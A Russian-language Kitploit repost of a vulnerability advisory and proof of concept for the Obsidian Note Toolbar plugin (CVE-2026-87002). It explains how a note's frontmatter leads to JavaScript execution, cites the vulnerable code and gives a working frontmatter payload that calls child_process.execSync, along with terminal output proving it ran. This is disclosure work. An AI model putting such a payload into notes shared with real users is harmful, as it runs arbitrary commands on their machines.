obsidian-note-toolbar-PoC — PoC — выполнение произвольного JavaScript через frontmatter в Note Toolbar для Obsidian (GHSA-q8cw-3m8c-5pf2, CVE-2026-87002, CVSS 7.0). | Kitploit

AV:L — уязвимый компонент (JS-вычислитель плагина, работающий внутри Electron-рендерера Obsidian) не имеет сетевого интерфейса; полезная нагрузка поступает как локальное содержимое хранилища/файла, синхронизированное любым способом, который использует жертва (Git, Syncthing, Obsidian Sync, общая папка), что согласуется с предыдущими находками этого семейства (например, obsidian-syncthing-integration, obsidian-codescript-toolkit).
AC:H — эксплуатация зависит от условий, не контролируемых злоумышленником, которые должны уже существовать в установке жертвы: (1) настройка плагина "Scripting" должна быть уже включена (по умолчанию выключена), и (2) жертва должна уже иметь настроенный элемент панели инструментов, метка, всплывающая подсказка или ссылка которого является простой ссылкой {{prop_NAME}} на некоторый ключ frontmatter. Оба варианта являются реалистичными, документированными шаблонами использования, но ни один из них не является поведением по умолчанию.
PR:N — злоумышленнику не нужен доступ к системе жертвы, только возможность поместить заметку в хранилище жертвы с контролируемым злоумышленником frontmatter.
UI:R — жертва должна открыть/просмотреть конкретную заметку; клик по элементу панели инструментов не требуется, панель отображается автоматически.
S:U, C:H/I:H/A:H — код выполняется с полным доступом к Node.js (require('child_process'), файловая система и т. д.) от имени локальной учётной записи пользователя, запускающего Obsidian.

src/Adapters/Adapter.ts:11
protected static readonly AsyncFunction = (Object.getPrototypeOf(async function(){}) as { constructor: typeof Function }).constructor;

src/Adapters/JavaScriptAdapter.ts:164
const func = new JavaScriptAdapter.AsyncFunction("input", expression);
...
result = await Promise.resolve((func as (...args: unknown[]) => unknown)(args));

Хранилище PoCVault/ с Project Alpha.md:

---
status: "{{js: require('child_process').execSync('id > /tmp/ntb_poc_proof.txt; date >> /tmp/ntb_poc_proof.txt; whoami >> /tmp/ntb_poc_proof.txt'); return 'ok';}}"
notetoolbar: Toolbar
---

Плагин Note Toolbar установлен, плагины сообщества доверены, одна панель инструментов с именем "Toolbar" создана через собственный UI настроек плагина с единственным элементом, поле Label которого равно {{prop_status}} (обычная метка отображения свойства — никогда не настраивалась как скриптовый элемент).
Настройка плагина Scripting включена (согласие жертвы, по умолчанию выключена).
Простое открытие/просмотр Project Alpha.md — без клика по элементу панели инструментов — отображает панель инструментов со значением ok (возвращаемое значение JS-выражения), и внедрённые команды оболочки выполняются по-настоящему:

Доказательство в терминале (~/engagements/obsidian-note-toolbar/evidence/02_terminal_proof_of_execution.png):
```
$ cat /tmp/ntb_poc_proof.txt
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),105(docker),992(kvm)
Fri Jul 31 09:31:33 PM +05 2026
kali
```
Скриншот Obsidian, показывающий необработанную полезную нагрузку frontmatter и отрендеренную панель инструментов ok (~/engagements/obsidian-note-toolbar/evidence/01_obsidian_toolbar_rce_trigger.png).

Исходная заметка сохранена в ~/engagements/obsidian-note-toolbar/evidence/poc_note_frontmatter.md.

Исследователь	Dostxodjayev Abdullox (@squeeze440)
Advisory	GHSA-q8cw-3m8c-5pf2
CVSS 3.1	7.0 (High)
Слабость	CWE-94, CWE-1336

obsidian-note-toolbar-PoC

Популярное

Краткое описание

Продукт

Протестированная версия

Оценка CVSS v3.1

Подробности

Доказательство концепции

Воздействие

Слабости (CWE)

Исправление

Благодарность

Канал сообщения об уязвимостях